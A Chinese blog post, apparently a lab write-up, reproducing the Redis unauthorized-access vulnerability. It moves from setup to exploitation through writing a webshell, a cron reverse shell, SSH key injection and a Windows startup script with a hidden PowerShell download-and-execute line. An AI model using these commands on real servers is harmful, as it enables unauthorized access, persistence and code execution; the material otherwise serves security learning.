漏洞之redis未授权漏洞复现及利用

一,环境搭建

1,windows环境搭建

下载地址:https://github.com/microsoftarchive/redis/releases

 解压到本地

修改配置文件redis.windows.conf 

允许任意IP访问我(未授权漏洞):修改bind 127.0.0.1为bind 0.0.0.0

关闭保护模式:修改protected-mode yes为protected-mode no

指定以redis.windows.conf为配置文件,启动redis服务

redis-server.exe  redis.windows.conf

使用redis-cli连接redis服务

redis-cli -h 192.168.23.128

2,linux环境搭建

下载地址:http://download.redis.io/releases/

下载: wget http://download.redis.io/releases/redis-6.0.1.tar.gz

解压: tar zxvf redis-6.0.1.tar.gz

编译:cd redis-6.0.1     make

编译出错,原因是因为我的系统上没有安装gcc环境

a,安装gcc:yum install gcc-c++

b,清空 : make distclean

c,重新编译 make,还是出错

d,应该是gcc未安装完毕,再安装一次

yum install cpp
yum install binutils
yum install glibc
yum install glibc-kernheaders
yum install glibc-common
yum install glibc-devel
yum install gcc
yum install make

e,还是编译失败,估计是redis版本太高了,重新下载个低版本的redis,重复上面的步骤,成功编译

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

修改配置文件:vim redis.conf

启动redis

方式1:src目录下./redis-server启动

方式2:添加到环境变量启动(推荐这个)

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

启动redis服务

redis-server  /etc/redis.conf

远程连接失败,本地连接成功,证明配置文件还没有加载

重新加载配置文件启动,显示配置文件已经加载,怀疑可能是因为虚拟机centos 7防火墙拦截了

果然本地telnet 端口不通

centos7 防火墙添加6379端口

firewall-cmd --list-port

firewall-cmd --zone-public --add-port=6379/tcp --permanent

firewall-cmd --reload

关闭selinux

还是不通,telnet一下,还是配置文件的问题,redis还是运行在安全模式下

在本地连接到redis,输入shutdown关闭redis服务,重启加载配置文件启动

成功远程连接

二,漏洞利用

1,写入webshell

利用条件:
1、目标存在web目录
2、已知web绝对路径
3、存在写入权限

1,通过网站报错或者phpinfo页面得到网站的绝对路径

2,利用获取的网站的绝对路径通过redis写入后门文件

config set dir "C:/ruanjian/phpstudy_pro/WWW"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

备注:\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

3,通过访问,成功写入

2,计划任务反弹shell

使用范围:centos

利用条件:
权限可写计划任务

原理和写入webshell一样,只不过这个是写入计划任务,只有linux系统有计划任务,因此只能在linux系统上运行,利用写入的计划任务反弹shell

1,写入计划任务(注意:文件保存的名字为用户名)

2,目标机上查看计划任务已经建立了

3,本地配置监听,成功接收到了shell

注意:使用kali做为目标主机进行测试,需要写入计划任务到/var/spool/cron/crontabs目录下。
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

3,写入公钥远程连接

使用范围:开启了密钥认证的linux主机
利用条件:
root权限

开启了ssh密钥登录,存在/etc/.ssh文件

利用过程:
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

1、首先在centos靶机上开启ssh密钥登录。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;

2,打开kali 生成一对密钥:ssh-keygn -t rsa

3,将公钥写入key.txt并添加上换行符号

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

4,将公钥内容设置给redis变量(注意路径,写自己的路径)

cat /root/key.txt | ./redis-cli -h 192.168.23.129 -x set tide

5,在/root/.ssh目录下生成authorized_keys文件(和前面的原理一样,都是写入重命名)

变量之前已经写好了

6,在目标机上查看写入成功

7,攻击机kali上进行连接:ssh  -o StrictHostKeyChecking=no 192.168.23.129

注意:
目标主机必须开启了密钥登录才能利用。
ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上。

4,开机启动项

范围:windows系统(只有windows系统有开机启动项)

当目标redis部署在windows主机上时,可以写入文件到自启动目录。当下次电脑重新启动时执行上线。
使用powershell远程下载执行。
server服务器默认存在Administrator用户。
写入批处理文件到Administrator用户的开机启动目录。

1,写入

config set dir "C:/Users/shy/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"

config set dbfilename shy.bat
set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX <<new object net.webclient>.downloadstring<'http://192.168.23.44:8088/xiye.exe'>>\"\r\n\r\n"

2,可以看到目标机的启动项下成功启动shy.bat文件

3,重启之后,获得shell

本人太菜,还没有学习完毕大佬文章,等再增长点儿见识,拓宽点儿知识面,再来继续学习大佬文章。

学习大佬文章:

https://mp.weixin.qq.com/s/ungjainqdPhA_dDOOMKn4Q

猜你喜欢

转载自blog.csdn.net/qq_32393893/article/details/109024055